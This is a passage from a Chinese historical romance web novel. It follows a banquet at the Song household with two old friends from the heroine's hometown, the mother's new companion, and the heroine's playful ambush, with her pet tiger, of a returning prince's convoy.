牛铁兰眉头紧蹙,神色迟疑 要说喊错了,也不能算吧,甚至于母亲比起夫人还要更正式恭敬一些 但要说喊对了,这两三岁的孩童还行,一个个都十来二十岁了 牛铁兰下意识看向曲茂泽对面端正坐着的宋顺之和宋安之兄弟俩,两个人一个浓眉大眼稳重成熟,一个面若桃花沈腰潘鬓,都是二十出头的人,不比她小多少岁 她还真没有做长辈的准备 她轻轻咬着唇,蹙着眉,看起来格外的犹豫 宋顺之和宋安之对视一眼,深呼吸,齐齐起身,恭敬地齐声道:“儿子见过母亲” 牛铁兰吓了一跳,往后退了两步,脸上带着藏不住的惊慌,看看这个看看那个,一时竟不知该如何回答 曲茂泽莞尔,把手中的茶杯放下:“你们先回去吧,现在虽不上朝,也莫荒废时日” 兄弟俩看了看对方,恭敬应声:“孩儿知晓” 曲茂泽轻敲桌面:“最后一次” 他坐在椅子上,抬着眸子仰看兄弟俩,声音不轻不重,却像是重锤一般砸在兄弟俩心间 两人瞬间肃了几分,改口:“知道了,曲公子” 曲茂泽看着两人挺拔的背影,神色稍微满意了两分 五个人性子各异,身世也一个比一个惨,碰上他们的时候,刚好是他最阴郁的时候,一时兴起就把人带了回来 原想着就像养蛊一般,让他们争斗残杀逗趣,可到底蛊是蛊,人是人,蛊虫在残杀重吞噬彼此,人在争斗中,还能惺惺相惜 他原本想着逗够了就把人扔出去,但是一年年下来,五个人倒是有模有样,也就这么放着到现在了 曲茂泽无心栽柳,但柳树扎根延枝,自成林荫,也说不上差 他思绪晃动,转过头,牛铁兰站在身侧,杏眸微嗔,拧了拧他的胳膊,轻哼:“曲公子可真威风” 曲茂泽攥住她的手,轻笑:“不及夫人喜提五个俊儿郎” 牛铁兰嗔怒:“你可真好意思,转这些弯弯道道,我为你好倒成了不识趣” 曲茂泽勾着唇,一本正经:“非也,为夫只是,更喜亲力亲为” 讨来的亲昵虽也欢喜,但是多少有些寡淡,不及自己钓上来了有滋有味 牛铁兰没好气地拍开他的手,轻哼一声,转身又走回屋里 男人就是靠不住,她还是自己去劝架吧 …… “夫人小姐,客人来了” 架要打,人要骂,准备好的席宴还是要按时开始 严盛早在来都城之前就已经在做准备了,考完试又赚了些银钱,就等着会试成绩出来 榜上有名 他松了口气,虽然成绩说不得多好,但是这次考的恰恰是他最不擅长的诗赋文论,能有这个成绩他已经很满足了。当今陛下更重实事,殿试多是政策经论,他还有些希望 便是不成,年后还有一次 严盛对自己有信心,也觉得自己有这个脸面来见恩人和,心上人 他跟在小厮之后,看着富丽庄重的宋府,忍不住悄悄地整理着新衣,这衣服是他特意花了大价钱买的,就想着能过来能看起来精神一些 倒是适得其反了 严盛看着身前小厮身上那身同款料子,轻扯嘴角,心里有些许的后悔 虽然早知宋府非同一般,但是亲眼见到才能感受到其中非凡,他特意准备倒是显得刻意,不如就穿平日旧衣 他轻声叹气 来都城后,到底浮躁了些 都城人才济济,富贵人家更是扎堆,他一个无根无底的乡下小子,便是有举人功名,在都城也仿若回到小时候那种无根无底的状态 他原以为自己考好了就能让她们另眼相看,或许能挽回一些,现在想来也是痴心妄想,他们的差距越来越大了 严盛心中苦涩 舒程浩走在旁边,看着他有些失魂落魄的模样,撇了撇嘴 小半年过去,他比起之前又要清瘦不少,往日的怯懦也跟着消散,整个人看着精神不少 他早就歇了这个心思了,自小一起长大的小伙伴自己还能不了解吗?真要有一丝可能,她也不能这么狠心,快半年时间一个信都不给,现在回来了也不知道联系一下他们 “你可真狠心啊,宋金金,发达了就看不上我们老朋友是了是吧?” 舒程浩看着前方如同记忆中一般笑得张扬的人,眼睛也有些酸涩,又被他狠狠压下去,他已经失了爱情,不能连友情一通失去 那十来年的狐朋狗友经历,也不是假的 面对老朋友的指责,宋锦眉眼张扬,神采飞舞,还是以往那 张明艳的脸庞,还是一样的神采,但还是和以前不一样了 在镇上时候,她衣着朴素,很少打扮自己,偶尔挂个银簪已经不得了了,整个人张扬又坚韧,像是山里休憩的猛虎,肆意又难掩野性 如今的她,锦衣华服,金钗珠宝,宛如神山里跃出的凰鸟,招摇又华贵 宋锦大步朝前,举止虽然依旧随意,依旧每日被嫌弃,但其实早就脱胎换骨了,她勾着唇,走过去重重拍在舒程浩肩膀上,哈哈一笑 “你小子说的,那可太对了” 舒程浩被打得一个踉跄差点摔倒,捂着肩膀吸气,刚站稳,就又听见她得意洋洋的声音 “我现在可是郡主,对了,你们见到郡主该怎么行礼来着?” 舒程浩嘴角一抽,抬头对上她灿烂得意的眉眼,很想吐槽,又忍不住跟着笑了出来,有模有样地给她行了个半礼,拉着声音 “在下舒程浩,青郡府乡试最后一名举人,拜见郡主大人” 宋锦哈哈一笑,挥手:“免礼免礼,再接再厉,下次好好考” 舒程浩看着她这般模样,脸上笑容一点点绽起:“会努力的,你都成郡主了,我要一直都是个举人那多丢人啊” “知道就好”宋锦嬉笑完,再看向旁边的严盛,神色要收敛一些,虽然也调侃,但是比起舒程浩总要疏远三分,“恭喜严贡生了,今日出成绩可有被榜下捉婿?” 严盛心中黯了几分,很快又收拾好心情,无奈一笑:“哪有那么夸张,不过是区区一个贡生罢了,我都是厚着脸皮上门,礼物单薄,希望郡主和夫人莫嫌弃” 说着,他把手中的礼物送上 那是一副画卷 宋锦挑着眉,直接把画打开,画里是,林溪镇的溪水旁 那儿有一棵五人才能合抱的槐树,稚子绕着槐树玩闹,对面,十二三岁少女戴着草帽骑在牛上,搭着腿,叼着稻草,悠悠闲闲 年轻女人手持钓竿坐在牛旁边,虽然戴着帷帽子看不清脸,但是看那纤细身姿,还有帷帽掀开露出的下巴,也能想象其美丽 宋锦看着画,脸上笑容一点点灿烂起来,好一会儿才将其合上,抱在怀里:“谢谢,我很喜欢,你画得很好” 看着她真心实意的笑,严盛提着的心也一点点落了下来,扬起笑:“你不嫌弃就好” 宋锦是发自内心的很喜欢这画,甚至有些迫不及待地想要回去自己娘亲分享,她随意又说了两句,就带着他们往待客的正厅走去 牛铁兰就在这边等待,她轻声和曲茂泽说着关于严盛和舒程浩这两个后辈的事情,也说这在林溪镇的往事 大体来说,她们这些年过得还是挺不错的 小有家底、人际和睦、医士官吏都有相熟 母女俩各有擅长,性子南辕北辙,合起来就十分互补了 曲茂泽听得很是认真,目光落在牛铁兰的脸上,藏着满满的赞叹 她比他想象中的还要厉害能干 两个人就这么低声细语地说着,温馨又缱暖 直到哒哒哒哒重步声从外面传来,宋锦的大嗓门传了进来:“娘,阿娘,你快看快看,我以前好小哦” 牛铁兰和曲茂泽一顿,脸上纷纷带上些无奈和好笑,不知道她又闹哪一出 那能不小吗?她今年都才十五呢 牛铁兰站起身迎了出来,还没走两步,宋锦就冲了过来,打开画卷兴冲冲指着上面的自己:“娘你快看,是我们哎” 说起来,母女俩在镇上时候也不缺钱,但还真没有画像的念头,这张图,可以说是母女俩第一张‘合照’,也不怪宋锦这般兴奋了 就是牛铁兰见了,也神色一怔,抚着画上的小人,带着些怀念还有欣喜 她越过宋锦的身形看向后面玉树临风的年轻郎,心中也跟着感慨万千,她想,她这些年愿意一直忍着严家那些个蠢货也不是没有道理 严盛此子,确实很会拿捏人心,前途无量 只可惜,她闺女比泥鳅还滑,喜欢自己往洞里钻,不喜欢被拿捏 无缘也无份 第129章 确实也是姘头 “婶子和金金不知道,就在你们走后没多久,整个青郡府限严,进出全是官兵,挨家挨户地查着走,我们泗安县都查出了好些户籍有问题的人,府城那边就更别说了,抄了好几个家族,张家还记得吗?就是县里张记粮铺那个张家,家里上百人全都被抓流放……” 舒程浩和宋锦从小伙在一起,也经常去拜访牛铁兰,和母女俩关系亲近,虽然刚到宋府还有些拘谨,但是很快就熟了起来,和她们说起了泗安县这段时间的事情 总的来说,短短半年时间,泗安县甚至青郡府里都来了个大换血 不少家族商户直接连根拔起,就连府尹都被抓下狱,一时之间,风声鹤唳,往日再是张狂嚣张的人也缩成鹌鹑 不过待到事情彻底收尾,上面派来的督查兵吏离开,原本死寂的府县就像寒冬过后的冻土,春暖花开,掩藏在深处的种子一点点冒出了头,将空出的未知占据 说到这,舒程浩就有些得意:“本来因为上次入狱的事,我还以为我阿爷要关了铺子,没想到他不仅没有,还跑到府城重新开了一个,囤了一堆货,谁曾想就赶上开恩科,生意好得不得了,赚大发了……” 宋锦坐在牛铁兰旁边,嚼着一块炸鱼,见他这般得意,打击道:“你看看你爷爷,再看看你,啧啧,还好老爷子没把店交到你手上,不然破产了,你们爷俩只有流浪了” 舒程浩得意:“我现在可是举人,不说流浪,回去县里找个差事可没问题” 宋锦调侃:“哟哟哟,不得了了啊,最后一名的官老爷” 舒程浩红脸,抻着脖子:“只要考上了,管他第一名最后一名” 宋锦笑颜如花,杵着下巴,皓亮的眼眸看了过来,声音清脆满是调侃,“人第一名还在这儿坐着呢,舒程浩你可真好意思” 严盛坐在舒程浩的旁边,一直没有插话的机会,看着他和宋锦打成一片,心中有些艳羡,却也无可奈何。 他虽然也和宋锦从小认识,但是小时候要帮着家里干活忙前忙后,大一点进了学堂更是珍惜机会,每日认真学习,放学后也在沙地上练字算书背书,基本没有时间出去玩 更可悲的事,他家境贫寒,就连上学都是受牛铁兰资助,更没有机会,也没有银钱买东西糕点送上,便是艰难找到酸果,捉得野鱼,也不值一提 宋锦经常上山,这些东西在他们府上再常见不过了 他们确实说不得亲近 现在说到自己,严盛欣喜又苦涩,斟酌道:“年后还有一次会试,我相信阿浩好好准备了定然能行” 宋锦噗嗤一笑,毫不留情地嘲笑:“舒程浩你是信他说你考上,还是信我是你爹?” 舒程浩差点被饭呛到,一张脸通红,咬牙切齿:“宋锦!!!” 宋锦哈哈大笑,还要继续嘲笑一番,脑袋上又挨了一下,她嗷呜一下 牛铁兰没好气地给她夹了一坨萝卜,让她少说两句:“吃你的吧” 她一个字都写不全的人,也不知道哪里来的勇气嘲笑别人 宋锦切了一声,怂着脑袋啃着萝卜,一边啃一边抱怨:“不喜欢吃萝卜” 牛铁兰懒得理她 这破孩子是不喜欢吃萝卜吗?她是只喜欢吃肉 压完孩子,牛铁兰再看向舒程浩和严盛,道:“你们俩都是婶子看着长大的,不要客气,想吃什么站起来夹菜” 一家子都不喜欢吃饭时候有外人在,所以不是特别必要的场合,他们身边少有丫鬟围着,都是自己弄自己的 严盛和舒程浩也不是没见过世面的人,要知道他们来都城赶考之前,府城专门请了宴,宴席颇为盛大,菜品更是繁盛 但面前的一点儿也不差 天上飞的海里游的地上跑的,全都聚齐了 菜品珍稀不说,就连盛菜的碗碟都异常精美,随便一个都够普通人家几月花销了 两人都些咋舌 ,吃饭也越发小心起来,免得打碎了丢人不说,还赔不起咧 宋家的豪贵无需多言 宋锦啃着软糯的熊掌,再瞅着对面有些拘谨的老朋友们,想了想,还是道:“那你们俩现在是住在一起?” 严盛点头:“我们俩初次过来,人生地不熟,合起租了个小院子,互相也有个照应” 宋锦挑眉:“等你过段时间考走了,不是又只有舒程浩一个人了?” 话里意思都是觉得他这次能考上进士 严盛心有喜意,面上还是谦逊道:“科考艰难,我此次会试成绩一般,殿试怕是艰难” 按照往年的惯例,进士成绩出来之后,大部分会外派到各个地方入职,剩一部分人会留任翰林院任职,至于怎么选,就有些看运气了 以往有状元直接外派,也有倒数留翰林院的情况,主要还是看陛下,还有传说中的宋首辅的意见 想到这,严盛心一顿,不着痕迹地看向牛铁兰旁边坐着的男人,他脸上带着温和的笑意,全程一言不发,安静地坐在那儿,看起来毫不起眼,但是时不时给牛铁兰夹菜的动作暴露他们非同一般的关系 再看旁边宋锦毫不在意的模样,想来也不是一天两天的事了 严盛不由想到了以前 牛铁兰刚来镇上的时候他才五岁,那时候突一见到她,真的恍若见到仙女一般,可惜仙女落了凡间,体弱多病,三五不时就请大夫 周围十里八乡都知道他们镇上有这么个病美人,虽然身体不好,但是实在美丽,每年都会有不少媒人到她家,又被宋锦拿棍子打走 她长得极为美丽,又聪慧能干,大家或多或少都会猜测她的来历 严盛也不例外,他以前也想过她不简单,但是没想到会这般不简单,竟然会和传说中的首辅联系上,想到外面的流言蜚语,他不由有些担忧 虽然两人这些年也没有联系,但是宋首辅毕竟才去世,宋府还有五个孩子,由宋首辅带大,各个都手握权势,心思诡谲,若是对此不满 宋锦便是贵为郡主,但是到底女子之身,又向来直接,恐难以应对这些 严盛微微皱眉,眼神不由染上些忧虑 突然,那人抬起来眼,直直看了过来,明明看起来温和近人,却让严盛心口一窒,整个人瞬间绷紧 曲茂泽看着这个年轻人,缓缓开口:“严公子一直看我,可是我有什么不妥?” 他的反应出乎了严盛意料,按道理来说,他这‘见不得人’的关系,应该低调再低调才是 这么一来,桌上的人都看了过来 严盛压力剧增,他深呼吸,斟酌开口:“我乡下出身,少有见公子这般丰神俊朗的人,一时失礼,还望公子莫怪” 相比严盛紧张的模样,曲茂泽那叫一个气定神闲,比起平日私下相处,对外的他温和清正,看着就是一副君子模样,笑得温和无害,很难让人升起防备心 他笑:“原是如此,我还以为严公子是觉得我不该在这里” 严盛:…… 牛铁兰忍不住把手伸到桌下拧了拧曲茂泽,示意他不要太得寸进尺 本来今日她都不想让他来的,毕竟不好解释,是这人非要过来,又装可怜说自己见不得人,又保证一定什么也不干,就是以往没参与过她们的人生,想感受一下 结果这就是老实? 他要是一句话不说,便是别人看出什么,也不会那么不是去问东问西,他非要挑事 牛铁兰看着对面明显尴尬无措的两个年轻人,蹙着眉头轻轻咬唇,同样有些尴尬,不知道该如何开口 曲茂泽这身份,很难介绍啊 他和宋商的身份肯定是要分开的,在都城其他人看来还好,毕竟她们母女俩是突然冒出来的,别说在找对象,就是再婚也不足为奇,只看宋家兄弟能否接受 但是在严盛和舒程浩两个知根知底的小子这边 短短半年,认识十来年的婶子突然从乡下小地主一跃成了高高在上首辅夫人,还突然多了个姘头——牛铁兰自己是这般想的,所以说起来也格外的难以启齿 十六年前无媒无聘,无名无分,十六年后依旧 牛铁兰郁闷,想着就更不想介绍人了 姘头就姘头吧,反正确实也是姘头 她沉默了下来 宋锦在一边啃着熊掌,半天没听到她开口,瞅瞅脸色,瞬间支楞起来,放下碗筷,擦擦嘴角,理了理嗓子,一本正经道 “对了,还没给你们介绍,这是曲茂泽曲大夫,我们是路上碰到的,他对我娘一见钟情,死乞白赖非要凑上来,虽然没钱没房没车,但一张脸看得过去,医术也还将就,给我娘把婶子调理好了,当个小白脸入赘还是勉勉强强” 牛铁兰嘴角一抽 曲茂泽却是低低闷笑,撑着下巴,勾起唇角,拉着声音:“郡主夸得在下受宠若惊” 宋锦恶寒:“谁夸你了?小白脸” 曲茂泽笑:“一般人想当小白脸可当不上,能靠这张脸入赘上门,是我三生有幸,若是入赘,我是不是该随夫人姓?” 姓牛的话,就是牛茂泽 牛曲氏 牛铁兰狠狠打了个寒颤,搓了搓胳膊,桌下的脚一抬,重重踩在他的脚上,侧头咬牙:“你够了,再闹腾自己回屋去” 曲茂泽拱手轻笑:“谨听夫人教诲” 严盛和舒程浩可没见过这世面,总觉得自己不该出现在这儿,一个个眼神都不敢直看,但是又人不好奇偷偷瞄过去 啊,别说,这人确实担得起一声小白脸,原来婶子喜欢的是这个类型啊 牛铁兰白皙的脸一点点红了起来,又气又羞,这人绝对是故意的 怎么能有人脸皮这么厚啊,父女俩简直一脉相传,一个了两个脸皮都刀枪不入 牛铁兰瞬间迁怒,瞪着曲茂泽的同时,连带着宋锦也剜了两眼 都是这死丫头起的劲 宋锦撇着嘴,嘟囔:“鹬蚌相争,渔翁挨打” 牛铁兰瞪:“当着小盛阿浩的面你就乱用词吧” 宋锦立马看向两个人,凤眸微眯,捏着拳头:“我说错了?” 两个人:…… 这都不是用不用错的事,就纯乱改啊 虽然有些无语惊诧,但是不得不说,宋锦闹腾起来和以前在镇上时候没个两样,严盛和舒程浩端着的拘谨彻底散去,再吃饭说话也松弛了不少 至于曲茂泽,虽然他看起来格外年轻,比他们大不了多少,但是真算起来也是长辈,宋锦都不说什么,也轮不到他们来说什么 略过小白脸这个插曲,他们继续吃饭聊天,说着泗安县那边的事,也说着都城这边 说着说着,宋锦突然又想起了什么,抓了抓头发,问:“说起来肖县令 怎么样了?” 肖县令在泗安县多年,县里各方面都跟着发展,日子一年比一年好,按道理来说,他一个调职时候一个优是少不了的,但奈何最后这么个尾巴时候碰上梁家这个大篓子 宋锦想到这个倒霉蛋,总觉得忘了些什么 严盛看着她单纯的感慨,沉默良久,在心里替肖县令默哀几声,道:“我们来之前,肖县令还让我们提他捎个口信,让你替他在上面美言几句” 宋锦:…… 想起来了,好像是有这回事来着 她走之前肖县令还施了一番苦肉计,让她帮忙说道说道 但这不是忙,忙嘛 宋锦讪讪一笑,转头看向曲茂泽:“评职一般是什么时候来着?” 曲茂泽轻笑:“如果山贼劫道,可能得明年” 因为这样的话,朝廷会派兵先把周围山贼全部剿干净,调任的事情就会往后挪 宋锦抱头,哀嚎:“完了完了,下次再见到,那老头肯定又会缠着我念叨,不对,不会根本见不到了吧?他会不会被调到漠北去?或者岭南?穷乡僻壤,土匪狗窝……” 牛铁兰没好气:“行了,少念叨两句,平日不记事,事后念念念,真想知道,找你大哥问就知道了” 宋锦的念叨顿住,凤眸瞬间瞪起,活像是护食的狼崽子,竖着耳朵:“大哥?什么大哥?我是独生女,没有哥哥没有弟弟,阿娘你别胡说” 牛铁兰揉揉额穴,懒得和她掰扯,随口转过话题:“吃饭吃饭,多吃点” 嘴巴多塞点,话也能少点 宋锦气鼓鼓坐下,神情苦大仇深,随后一点点染上杀意,杀气腾腾的,气势有些压人 牛铁兰一巴掌拍过去 宋锦呲了呲牙,端起碗打算和里面的饭同归于尽 撑死总比气死来得好 牛铁兰一言难尽,也懒得理她这个狼崽子,转而看向对面的严盛和舒程浩,轻声道:“府里大哥是当年探花出生,以前科考的时候留了很多书籍资料,我前两日让他帮着整理了一些出来,你们一会儿带回去誊抄温习一番,对你们以后应该颇有助益” 严盛和舒程浩惊:“这,这也太贵重了” 像宋府这般人家,孩子读书一路都是顶级名师,十来年积累的心得文料,是多少人家想要也倾家荡产都买不到的 牛铁兰抿嘴一笑:“确实珍贵,所以你们更要小心对待,别弄坏了” 两个人都有些受宠若惊,可让他们拒绝的话,也确实难以拒绝 科考一举,说是公平选举,但是早在家世上已经分了鸿沟 世家大族有百年积累,有名师名院,能游历山川湖海,有感而发 普通人家,能上学堂已拼尽全力 但更多的人家,连温饱活着都艰难万分 严盛和舒程浩,一个际遇不断,入了县里最好的学院,一个家世良好,衣食无忧,都是在普通人中很不错的存在,但是对比同层次的书生,他们差的还很远,更别说和宋行之相比了 他用过的书,记下的笔记,对于他们来说无异于雪中送炭 两个人都有些激动,看着牛铁兰的目光藏不住的孺慕 他们小的时候,经常会羡慕宋锦有这么一个貌美温柔的母亲,现在长大了,更羡慕了 牛婶子真的人美心善 宋锦靠在椅背上,轻轻揉着肚子,瞥着两人这副模样,小表情有些得意 再是羡慕也没用,她娘是她的 …… 到底家世有距,男女有别 严盛和舒程浩自己也知道,到了这都城,他们再也不能像在县城镇上那般随意找上门闲聊拜访了,且他们后面还有考试,也需全力以赴 所以他们更要珍惜今日 两人饭后也没有直接告辞,而是转移阵地,在宋府绕了一圈,欣赏了一翻府内风光,然后聚在亭台这边赏雪畅聊 一直到申时更声响起,严盛将杯中茶水喝完,看向对面几乎裹在披风里面的牛铁兰 她以前身体很差,脸上常年没有血色,整个人纤细脆弱,带着股浓浓的病气,仿若一阵风都能吹跑,脆弱,却不软弱,面对麻烦会退让,却也绝不逃避,春风化雨一般一点点将其化掉。 半年不见,牛铁兰身上的病气消散大半,脸色红润,脸颊也饱满几分,温柔恬雅,让人很难对她施以重话 严盛缓缓呼气,那蕴在心中的热气在外面变为寒霜,雾蒙蒙的,挡在他眼前,也挡在他前行的路上 他其实,也不确定这么做对不对 他根基太浅,浅得别人随意一踩就会支离破碎,见的事情也少了,眼光太短,看不透那些光鲜下藏着的阴垢 好在,这一路来,他的运气从来都好,这次应该也不差 严盛压住心中万千思绪,缓缓起身,尽量平稳着声音,道:“盛这段时日遇到不少想不透的事,想请婶子为我解惑” 牛铁兰看着他略微紧张的模样,再看他身侧握紧的手,心里一软 这些年来,严盛有多用功她看在眼里,他的品行也毋庸置疑 现在这样,定然是遇到事了 她没有犹豫,轻缓起身,温柔一笑:“院里的红梅开得正盛,我们去那边说吧” 对上她温柔的目光,严盛郁在心中的忐意很快随之消散,他长长抒了口气,整个人看起来也开朗两分,露齿笑:“那我先走,帮婶子把地踩实些” 牛铁兰抿着嘴笑了起来 她刚去镇上时候,小小的严盛也是这般,紧张拘束地走过来,磕磕巴巴地说着帮她垫路 她笑:“那你可要踩结实一点,外面雪大” 严盛恩了两声:“您放心吧,我现在大了,一脚顶以前两个” …… 两个人就这么朝着那边红梅树走去,白雪轻飘,一前一后 宋锦靠在椅背上,双手抱胸,忍不住吹了个口哨:“哎呀,年轻就是好啊” 曲茂泽肉眼单看毫无破绽,但这么一对比,真年轻和假年轻简直不要太过明显 宋锦思路打开,之前她一直觉得她娘不需要找对象,永远和她在一起就够了 现在的话,反正都要找对象,年轻不比老的香吗? 她眉眼飞扬,眼中满是狡黠,冲着人咧着牙:“你说是不是啊” 曲茂泽静静地看着牛铁兰的背影,眸色一点点深了下去 他知道小崽子就是皮,也知道那么一个年轻人什么也不是,但一点儿也不妨碍他觉得这个画面刺眼 他轻轻捏断手中的椅把,侧过头看着自家崽子欠欠的模样,轻声一笑:“昨日飞鸽来信,宋将军他们已近都城,按照行军路程来算,他们此刻距离都城至多不过两三百里” 一听这话,宋锦眼中狡黠去掉,瞬间惊喜起来,一个扑腾站起,挥着手直接跑开:“娘,我出去玩了,晚上不回来了别担心我,舒程浩严盛下次再见……” 曲茂泽坐观她雀跃的背影消失,再转头看向前方红梅,勾起嘴角 新年将至,在外游子归家 关于家中的飞鹰,也该出去溜达溜达了 第130章 那你再想想 “吁——” 天光微亮,停在驿站的车队重新启程,踩着清晨的浓雾,朝着永安城内出发 经过了两个月的行程,原本威风凛凛的车马多少有些风尘仆仆,一路霜雪,车顶上沾着扫不完的寒霜,车身带着枝叶碎石划过的痕迹,车轮马蹄上全是泥泞,仔细看还能看到斑驳血渍 这一路行程,还是少不了血雨腥风 去的路上还好,初冬时候,天气虽然凉寒,但一路青山绿水,好山好路,走官路左右宽敞平坦,有什么都很好反应 回程时候,气温骤降,他们绕着北边走,一路大雪,中间碰上了不少或明或暗的匪盗刺客,最惊险的一次,火药炸碎山石,山雪落下覆了车队,一行人废了好些功夫才修整好重新上路 一路走走停停,总算是要到了 随行的侍卫和将士心里都松了口气 虽然出发之前他们就知道此行不会这般顺 利,但是没想到会这么坎坷,随行百名精挑细选的好手,面对那些明显训练有素的匪徒,虽然没有人员死亡,但不少人伤的也不轻,一路上这里两个,那边三个的停在医馆治疗 到了现在,原本整齐威武的阵队现在只剩下一半,每个人身上或多或少都带了些伤 除了齐铮这个王爷 这倒并不是因为他们保护得好,纯粹就是因为他武功高强,一路上甚至倒反天罡保护他们这些侍卫 李青山看着骑在马上,走在最前方的齐铮,心里有些感叹 最开始见到齐铮的时候,他不过十四五岁,脸上还带这些稚气,一身侠客气度非凡,武艺更是让人望尘莫及。多年过去,即便现在贵为王爷,他也没有溺于荣华富贵,不骄不躁,比起作为王爷的矜贵,更多还是侠气的凛然 他看得有些失神,目光过于明显 马上到齐铮转头看了过来,俊美的脸上没什么表情,凛冽肃然,让人望而生畏,他皱着眉头:“怎么?伤口疼?不然还是回马车吧” 李青山作为领头的侍卫,又半程扮演王爷,不出意外的受了伤,最严重的就是左肩,被砍了一刀,使不得力,又因为之前被袭摔下马,左半边脸都是擦伤 齐铮看着他吊着的手,还真有些担心他摔下去 李青山:“……多谢王爷关心,属下无事” 见此,齐铮也没有多劝,又转过头看着前方,就在四五里的位置,又有一片林子,虽然并不大,但是比起平坦开阔的周边,这里也最容易埋伏人马 一路上经过多场袭击,现在马上到都城了,他没有丝毫的松懈,面无波澜,漆黑的眸子打量着四周,腰间长剑竖立,马侧挂着长弓,箭桶放满了利箭,以便他随时取用 齐铮是名剑客,最擅长用剑,但弓箭也不差,徒手百步穿杨,用上内力,目光所及之处,都是狩猎范围 他骑在马背上,最终停在了百米之外,看着前方被白雪覆盖的林子,漆黑的眸子多了两分波澜,抽出削铁如泥的长剑 宋慎之并驾在旁,见此也谨慎起来:“王爷?” 齐铮沉声:“有兽印” 还是很新鲜的兽印,看那脚印大小,可不是什么善茬 大雪覆盖,野物纷纷躲了起来,便是猛兽觅食也艰难许多,每年这种时候都会有不少猛兽下山袭人的事 宋慎之这一路来已经感受到身旁这个江湖出身的王爷厉害,虽然没有看到哪儿有兽印,但瞬间就警惕了起来,喊停了后面的人,提前提防 猛兽不比刺客,速度极快杀伤力极强,光是突袭的那股力便能将人撞死,更别说不管是抓伤还是咬伤,伤口都极易感染,很是危险 能不遇上就最好不要遇上,真碰上了,那就得小心不被抓到 车队迅速整顿,前后队列列着,所有人拿着武器在手,轻巧地走在路间,试图就这么轻巧地走过那片雪林,不惊动里面的猛物 这么轻手轻脚的,就在他们要穿过的时候 随着一声口哨声响起,几道长箭破空,径直地朝着队伍射了过来 宋慎之下意识骑马上前,砍掉利箭,厉声:“护驾——,殿下后退” 齐铮武艺高强,但是一般来说,只要不是突袭过于厉害危险,他也不会喧宾夺主,非要自己顶上,可是这一次 他没有后退,垂头看着那边射来的长箭,材质昂贵,普通人不可能大批次使用,而且两边距离百米,想要把长箭射过来可不是一件易事 那本该尖锐的箭头被砍,像是被拿到石头上磨了,圆润又粗糙,打在人身上也不会有什么伤害,最主要的是 他指心摩擦着箭身上小小的爱心,宛如冷肃的冬雪被突然打散,身上凛凛气势散去,突然笑了出来,正要压停了众人的警惕试探,前方并不算深的林间突然跃出一道金黄圆影 “嗷呜~咪——” 黄黄一个猛虎咆哮,然后猛觉不对,一下子听了下来,伸出爪子扒了扒金色的圆眼睛 不对,咪应该怎么叫来着? 有点忘了 它看着前方大批的老熟人,莫名有点小尴尬,张开嘴装作若无其事地打了个哈欠,又趴着前脚伸起了懒腰,然后在雪地里打滚 别看它,它只是一只无辜咪 齐铮虽然前面就猜到怎么回事,现在真看到黄黄了,脸上还是不由自主扬起了笑意,翻身下了马,朝着黄黄走去 宋慎之没见过这只拦路虎,虽然它看上去虎头虎脑格外傻,但是总归是猛虎,很是威胁,他下意识阻止:“王爷危险” 齐铮转过头看着宋慎之,想到那日这人入狱他和宋锦去探监,宋慎之的自荐求婚,再看现在,他绷着唇角,漆黑的眸子深了两分 “宋将军平日忙碌,没时间和家人相处可以理解,但连外甥女都认不出来,未免有些太过疏离了” 宋慎之被说得一头雾水 外甥女,什么外甥女? 这冰天雪地,方圆十里,哪儿来的一个女—— 他这般想着,下一瞬就见前方林子里继金虎之后又蹦跳出个熟悉的人影,他一个脚滑,啪一下摔在地上,眼珠子都要掉下来了,牙莫名疼了起来 这丫头,能不能靠点谱啊 宋锦也想这么说,她气冲冲走了出来,走到黄黄身边捏着它的耳朵,恶狠狠:“你个没用的小东西,你是老虎,你自己看看你像吗?我就知道不能让你太舒坦了,你是一只成年的大老虎,你的虎崽子可能都有崽子了,等年后就自己出去打猎去……” 黄黄埋着脑袋扒耳朵 不听不听 齐铮缓步走了过来,手上还拿着那根被专门打磨过的长箭,看着蹲在地上碎碎念念的宋锦,漆黑的眸子仿若翻涌的海浪,藏着看不清的情绪 他从小就跟着师傅浪迹,从南到北,从东到西,没有停留,没有归处,也无人等待 现在好像不一样了 他蹲下身,伸手揉了揉黄黄的脑袋,像是不经意般按在了她的手背上,指尖穿插,粗粝的指节摩擦,压着毛茸茸有些硬的虎毛 很痒 宋锦来的时候一脑子热,真过来了,还被不靠谱的黄黄这么泄了气,又有些不自然了起来,凤眸微睁,凶巴巴恶人先告状 “干嘛?” 虽然活了两辈子,但是前世的事太过久远,在今生十五年的悠闲快乐中一点点被埋藏,她也只是个十五岁的小少女,第一次有了对象 他高大俊美沉默,不会说什么漂亮话,也不会把她当弱者挡在身后,只会静静地陪着她,会陪她翻越城墙,陪她林间散步,陪她习剑练武…… 这一走一个月,外面大雪纷飞,各方势力乱七八糟,虽然他武艺高强,还有百余护卫护送,但宋锦还是不由担心人 这人严肃端正,又还有些古板,喜欢管一些乱七八糟的闲事,适应力又差,当了快一年王爷了,真碰上事了还说不好是谁保护谁 现在看着人完好无损地回来,她放下心来,又有些不好意思了 她承认,她是有些主动,在这个保守的年代,面对这个有些古板的人 他要是敢说她,她就让黄黄咬他脑袋 宋锦凶巴巴地看着他,眼中全是威胁 齐铮看着她这幅生龙活虎的模样,就知道她这段时间过得不错,家中一切也甚好,他伸出手轻轻伸向她的脑袋 宋锦下意识挪开,警惕地看着他,怀疑这人是不是要拍她脑袋 齐铮眼中笑意闪过:“叶子” 宋锦这才老实下来,由着他伸手从头发上取走枝叶,轻轻拍走残雪,然后摸了摸 她一巴掌拍了过去:“不许动我脑袋” 齐铮听话地放下大掌,轻轻握住她的手,感受着其中冰凉,低声:“等很久了?怎么不点个火” 宋锦撇嘴:“太明显了” 她是来搞事情,不是来烤火的,可惜,千算万算,没算到黄黄这个轻易就被好日子哄成小猫咪的废物虎 齐铮失笑,看着她幽怨的模样 ,握紧了手,低声:“很,惊喜” 他很开心,开心有人会记挂着他等着他,即便,可能只是一时兴起,他依旧很开心,之前被分了金矿的时候都没这么开心 宋锦抬起脑袋看着他,俊美稳重,一双黑眸深深,看上去无波无澜 惊喜? 她伸手捏捏他棱角分明的脸,撇嘴:“我可没看出来” 齐铮扬起嘴角,眼中笑意浮现,漆黑的眸子深深地看着她,轻声:“这样看得出来吗?” 宋锦噗嗤一笑,借着他高大的身形遮挡,飞快抬起脑袋,轻轻的印了上去,冰凉而干燥,又转瞬即逝,她退了回来,眉眼张扬,像是冬日盛开的红牡丹,明艳又热烈 